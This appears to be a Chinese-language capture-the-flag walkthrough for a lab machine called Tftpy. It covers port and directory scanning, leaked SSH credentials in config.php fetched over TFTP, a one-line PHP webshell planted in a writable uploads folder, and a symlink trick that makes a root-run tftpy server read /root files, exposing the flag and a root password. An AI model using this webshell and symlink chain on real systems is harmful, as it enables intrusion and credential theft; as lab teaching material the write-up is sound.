

Tftpy

端口探测

SHELL

```
(root@kali)-[~]  
└─# nmap -Pn -sV -T4 -p- 192.168.56.128  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 07:10 -0400  
Nmap scan report for 192.168.56.128  
Host is up (0.00016s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)  
80/tcp    open  http     Apache httpd 2.4.68 ((Debian))  
MAC Address: 08:00:27:A6:78:89 (Oracle VirtualBox virtual NIC)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at  
https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 9.94 seconds
```

只有 22、80，web直接给出了 `phpinfo` 页，目录爆破一下：

```
└─(root@kali)-[~]
└─# dirsearch -u 192.168.56.128
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23:
DeprecationWarning: pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _ _ _ _  _  v0.4.3
  (_||| _ ) (/ _ (| _ (| _ )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /root/reports/_192.168.56.128/_26-09-27_07-12-29.txt

Target: http://192.168.56.128/

[07:12:29] Starting:
[07:12:34] 301 - 357B - /backup → http://192.168.56.128/backup/
[07:12:36] 200 - 0B - /config.php
[07:12:48] 200 - 236B - /upload.php
[07:12:48] 301 - 358B - /uploads → http://192.168.56.128/uploads/
[07:12:49] 200 - 430B - /uploads/
```

```

└─(root@kali)-[~]
└─# dirsearch -u 192.168.56.128/backup/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23:
DeprecationWarning: pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _ _ _ _  _  v0.4.3
  (_||| _ ) (/ _ (| _ (| _ )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /root/reports/_192.168.56.128/_backup__26-09-27_07-19-49.txt

Target: http://192.168.56.128/

[07:19:49] Starting: backup/
[07:20:01] 200 - 0B - /backup/config.php

```

TFTP

根据靶机名，我们发现 **TFTP** 服务存在响应，

```

└─(root@kali)-[~]
└─# tftp 192.168.56.128
tftp> get config.php
tftp>

```

config.php 泄露了 ssh 凭证：

```

<?php
$username = 'xPerceptron';
$password = '1BN1cgswS86srT75XUSK';

```

tftpy

有 shell 之后我们发现 **/opt/tftpy/run.py** 以 root 运行，根目录是 **/var/www/html/backup**

```
xPerceptron@Tftpy:~$ cat /opt/tftpy/run.py
import sys
sys.path.insert(0, '/opt/tftpy')
import tftpy

tftpy.TftpServer('/var/www/html/backup').listen('0.0.0.0', 69)
```

既然是root的 **tftpy**，我们可以通过软连接来实现 **root** 权限的任读，因为根目录属于 **www-data**，

```
xPerceptron@Tftpy:~$ ls -al /var/www/html/
total 28
drwxr-xr-x 4 www-data www-data 4096 Sep 26 23:03 .
drwxr-xr-x 3 root      root      4096 Sep 26 22:25 ..
drwxr-xr-x 2 www-data www-data 4096 Sep 27 07:40 backup
-rw-r--r-- 1 www-data www-data  69 Sep 26 22:26 config.php
-rw-r--r-- 1 www-data www-data  17 Sep 26 22:26 index.php
-rw-r--r-- 1 www-data www-data 990 Sep 26 22:26 upload.php
drwxrwxrwx 2 www-data www-data 4096 Sep 27 07:36 uploads
```

我们在隔壁的 **/uploads** 额外写入一个webshell，

```
xPerceptron@Tftpy:~$ echo '<?php system($_GET["c"]);?>' >
/var/www/html/uploads/c.php
```

```
└─(root@kali)-[~]
└─# curl http://192.168.56.128/uploads/c.php --data-urlencode 'c=ln -sf /
/var/www/html/backup/x'
```

```
tftp> get x/root/root.txt
tftp>
```

```
(root@kali)-[~]  
└─# cat root.txt  
flag{root-a2fdd537242e5979b4d53aac7140cdda}  
  
(root@kali)-[~]  
└─# cat .bash_history  
mysql -uroot -p6L8vIjMakbCB0KeSoD92
```

这样就能得到 **root flag**，同时也在 **.bash_history** 中得到了root用户的口令。